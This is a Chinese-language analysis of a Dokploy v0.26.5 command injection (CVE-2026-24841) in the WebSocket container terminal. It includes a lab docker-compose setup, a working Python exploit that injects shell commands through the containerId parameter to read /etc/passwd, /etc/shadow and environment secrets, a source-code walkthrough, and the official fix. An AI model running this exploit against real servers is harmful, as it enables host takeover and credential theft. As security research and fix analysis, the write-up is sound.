Dokploy 命令注入漏洞分析 CVE-2026-24841
Dokploy 命令注入漏洞分析 CVE-2026-24841
Dokploy 命令注入漏洞分析 CVE-2026-24841
漏洞描述
Dokploy 是一个免费的、可自托管的平台即服务(PaaS),能够简化应用程序和数据库的部署与管理。它是 Vercel、Heroku 和 Netlify 的开源替代方案,为开发者提供了强大的容器管理和部署能力。
在 Dokploy v0.26.5 版本的 WebSocket 终端功能中存在一个严重的命令注入漏洞。该漏洞位于 /docker-container-terminal 端点,攻击者可以通过在 containerId 和 activeWay 参数中注入 shell 元字符,在 Dokploy 宿主机上执行任意系统命令。虽然该漏洞需要认证后才能利用,但对于已登录的用户(包括恶意内部人员或获得会话令牌的攻击者),可以完全接管 Dokploy 服务器,窃取数据库密码等敏感信息。


环境搭建
version: '3.8'
services:
postgres:
image: postgres:15-alpine
container_name: dokploy-postgres
environment:
POSTGRES_USER: dokploy
POSTGRES_PASSWORD: dokploy123
POSTGRES_DB: dokploy
volumes:
- postgres_data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dokploy"]
interval: 5s
timeout: 5s
retries: 5
redis:
image: redis:7-alpine
container_name: dokploy-redis
volumes:
- redis_data:/data
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 3s
retries: 5
dokploy:
image: dokploy/dokploy:v0.26.5
container_name: dokploy-vuln-test
ports:
- "3001:3000"
environment:
DATABASE_URL: "postgresql://dokploy:dokploy123@postgres:5432/dokploy"
REDIS_URL: "redis://redis:6379"
NODE_ENV: production
volumes:
- /var/run/docker.sock:/var/run/docker.sock
- dokploy_data:/app/data
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
restart: unless-stopped
volumes:
postgres_data:
redis_data:
dokploy_data:curl -I http://localhost:3001漏洞复现
这个账号虽然是需要凭据的,但是普通用户都可以,而且,最方便的是,可注册普通用户,所以和未授权区别不大

#!/usr/bin/env python3
"""
Dokploy Command Injection PoC (CVE-2026-XXXXX)
Authenticated RCE via WebSocket - CRITICAL
Usage:
python3 dokploy-poc.py <target> <cookie> # Run default tests
python3 dokploy-poc.py <target> <cookie> <cmd> # Run custom command
Examples:
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" whoami
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "ls -la /root"
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "cat /etc/shadow"
"""
import sys, asyncio
from urllib.parse import quote
try:
import websockets
except ImportError:
sys.exit("pip install websockets")
async def exploit(target, cookie, cmd):
payload = f"x;{cmd};#"
uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
out = ""
try:
async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
while True:
try:
out += await asyncio.wait_for(ws.recv(), timeout=2)
except asyncio.TimeoutError:
break
except Exception as e:
return f"Error: {e}"
# Clean docker error noise
lines = out.split('\n')
clean = [l for l in lines if not any(x in l for x in ['docker:', 'Usage:', 'docker exec', "See '"])]
return '\n'.join(clean).strip()
async def main():
if len(sys.argv) < 3:
print(__doc__)
sys.exit(1)
target, cookie = sys.argv[1], sys.argv[2]
if len(sys.argv) > 3:
cmd = " ".join(sys.argv[3:])
print(f"$ {cmd}\n")
print(await exploit(target, cookie, cmd))
else:
print(f"[*] Target: {target}\n")
for name, cmd in [("id", "id"), ("passwd", "head -3 /etc/passwd"), ("env", "env|head -5")]:
out = await exploit(target, cookie, cmd)
vuln = "uid=" in out or "root:" in out or "=" in out
print(f"[{'!' if vuln else '?'}] {name}: {out[:150] if out else 'no response'}\n")
if __name__ == "__main__":
asyncio.run(main())
危害的话,数据库也可以控制的

账号密码都可以读取出来
我是在本地环境,这个是默认的
漏洞分析
WebSocket 连接建立
文件位置: apps/dokploy/server/wss/docker-container-terminal.ts
wssTerm.on("connection", async (ws, req) => {
const url = new URL(req.url || "", `http://${req.headers.host}`);
const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay");
const serverId = url.searchParams.get("serverId");
const { user, session } = await validateRequest(req);
if (!containerId) {
ws.close(4000, "containerId no provided");
return;
}
if (!user || !session) {
ws.close();
return;
}
// ... 继续处理
});这里我们可以看到,虽然进行了认证检查(validateRequest)但是可注册,普通用户的权限就可以了,对于 containerId 和 activeWay 参数
只是检查了存在性,我们看下面
SSH 命令注入
文件位置: apps/dokploy/server/wss/docker-container-terminal.ts
if (serverId) {
const server = await findServerById(serverId);
if (!server.sshKeyId)
throw new Error("No SSH key available for this server");
const conn = new Client();
conn
.once("ready", () => {
conn.exec(
`docker exec -it -w / ${containerId} ${activeWay}`,
{ pty: true },
(err, stream) => {
// ... 处理流
}
);
})
.connect({
host: server.ipAddress,
port: server.port,
username: server.username,
privateKey: server.sshKey?.privateKey,
});
}在远程服务器场景中,这两个参数 containerId 和 activeWay 被直接插入到SSH 执行的 shell 命令字符串中。由于使用了模板字符串拼接,shell 会解释其中的特殊字符(如 ;、|、&& 等),所以我们完全可以利用这个特性去拼接执行命令,看下面的例子
假如我们输入这个
containerId = "x;whoami;#"
activeWay = "sh"
"docker exec -it -w / x;whoami;# sh"
// SSH 远程 shell 解释为三个命令
- docker exec -it -w / x (失败,容器 x 不存在)
- whoami (会成功执行)
本地服务器场景 - spawn 命令注入
文件位置: apps/dokploy/server/wss/docker-container-terminal.ts
else {
const shell = getShell();
const ptyProcess = spawn(
shell,
["-c", `docker exec -it -w / ${containerId} ${activeWay}`],
{},
);
ptyProcess.onData((data) => {
ws.send(data);
});
ws.on("message", (message) => {
try {
let command: string | Buffer[] | Buffer | ArrayBuffer;
if (Buffer.isBuffer(message)) {
command = message.toString("utf8");
} else {
command = message;
}
ptyProcess.write(command.toString());
} catch (error) {
const errorMessage = error?.message as unknown as string;
ws.send(errorMessage);
}
});
}文件位置: apps/dokploy/server/wss/utils.ts
export const getShell = () => {
switch (os.platform()) {
case "win32":
return "powershell.exe";
case "darwin":
return "zsh";
default:
return "bash";
}
};和上面的差不多的原理了
/bin/bash -c "docker exec -it -w / x;cat /etc/passwd;# sh"
- 执行 docker exec -it -w / x (失败)
- 执行 cat /etc/passwd (这个会成功执行)
sh 被当作注释忽略
漏洞修复
修复 Commit: https://github.com/Dokploy/dokploy/commit/6fdb2e4a21f420b0e65e8721145ba8429d7d5749
官方的修复采用了三层防御机制:
添加输入验证函数
文件: apps/dokploy/server/wss/utils.ts
官方新增了两个严格的验证函数:
/**
* 验证容器 ID 格式
* 支持:完整 ID(64位十六进制)、短 ID(12位十六进制)、容器名称
*/
export const isValidContainerId = (id: string): boolean => {
// 匹配十六进制 ID(12-64 位)
const hexPattern = /^[a-f0-9]{12,64}$/i;
// 匹配容器名称(字母数字开头,可含下划线、点、横线,最长128字符)
const namePattern = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
return hexPattern.test(id) || (namePattern.test(id) && id.length <= 128);
};
/**
* 验证 shell 类型
* 只允许预定义的安全 shell
*/
export const isValidShell = (shell: string): boolean => {
const allowedShells = [
"sh",
"bash",
"zsh",
"ash",
"/bin/sh",
"/bin/bash",
"/bin/zsh",
"/bin/ash",
];
return allowedShells.includes(shell);
};验证逻辑分析:
isValidContainerId: 使用正则表达式严格验证容器 ID 格式
- 允许 Docker 标准 ID:12-64 位十六进制字符
- 允许容器名称:必须以字母或数字开头,只能包含
[a-zA-Z0-9_.-],最长 128 字符 - 阻止所有包含特殊字符(
;、|、&、空格等)的输入
isValidShell: 使用白名单方式验证 shell 类型
- 只允许 8 个预定义的安全 shell
- 完全阻止任意 shell 路径或命令注入
参数使用前添加验证
文件: apps/dokploy/server/wss/docker-container-terminal.ts
+ import { isValidContainerId, isValidShell } from "./utils";
wssTerm.on("connection", async (ws, req) => {
const url = new URL(req.url || "", `http://${req.headers.host}`);
const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay");
if (!containerId) {
ws.close(4000, "containerId not provided");
return;
}
+ // Security: Validate containerId to prevent command injection
+ if (!isValidContainerId(containerId)) {
+ ws.close(4000, "Invalid container ID format");
+ return;
+ }
+ // Security: Validate shell to prevent command injection
+ if (activeWay && !isValidShell(activeWay)) {
+ ws.close(4000, "Invalid shell specified");
+ return;
+ }
+ // Default to 'sh' if no shell specified
+ const shell = activeWay || "sh";
const { user, session } = await validateRequest(req);
// ...
});在使用参数前进行验证,验证失败立即断开连接, activeWay 设置默认值 "sh"
避免 Shell 解释
本地场景修复:
// 修复前(v0.26.5 - 存在漏洞)
- const shell = getShell();
- const ptyProcess = spawn(
- shell,
- ["-c", `docker exec -it -w / ${containerId} ${activeWay}`],
- {},
- );
// 修复后(v0.26.6 - 安全)
+ const ptyProcess = spawn(
+ "docker",
+ ["exec", "-it", "-w", "/", containerId, shell],
+ {},
+ );不再使用 bash -c 模式,直接调用 docker 命令,参数作为数组传递,不经过 shell 解释,就算传入的 containerId 包含分号,也只会被当作普通字符串
远程 SSH 场景修复:
// ❌ 修复前(v0.26.5 - 存在漏洞)
- conn.exec(
- `docker exec -it -w / ${containerId} ${activeWay}`,
- { pty: true },
- (err, stream) => { /* ... */ }
- );
// ✅ 修复后(v0.26.6 - 安全)
+ const dockerCommand = [
+ "docker",
+ "exec",
+ "-it",
+ "-w",
+ "/",
+ containerId,
+ shell,
+ ].join(" ");
+ conn.exec(dockerCommand, { pty: true }, (err, stream) => { /* ... */ });虽然远程场景仍使用字符串拼接(因为 SSH 的 exec 只接受字符串),前面已经通过正则表达式严格验证了 containerId 和 shell,准备绕一绕,说不定就是一个新漏洞了
防御的逻辑
用户输入
↓
【第 1 层】正则表达式验证
├─ isValidContainerId: /^[a-f0-9]{12,64}$/i
└─ isValidShell: 白名单 ["sh", "bash", "zsh", "ash", ...]
↓ 验证失败 → 拒绝连接
↓ 验证通过
【第 2 层】参数化命令执行
├─ 本地:spawn("docker", ["exec", "-it", "-w", "/", containerId, shell])
└─ 远程:已验证的参数通过 join(" ") 拼接(无特殊字符)
↓
【第 3 层】不使用 shell 解释器
└─ 参数作为数组传递,不经过 bash -c
↓
✅ 安全执行免责声明
本报告仅用于安全研究和教育目的,本报告中的漏洞分析和 PoC 代码仅供授权安全测试使用
Dokploy v0.26.5 的 `/docker-container-terminal` 存在认证后命令注入,通过 `containerId` 和 `activeWay` 参数可执行任意系统命令。
由 AI 根据全文自动生成,仅供参考,以原文为准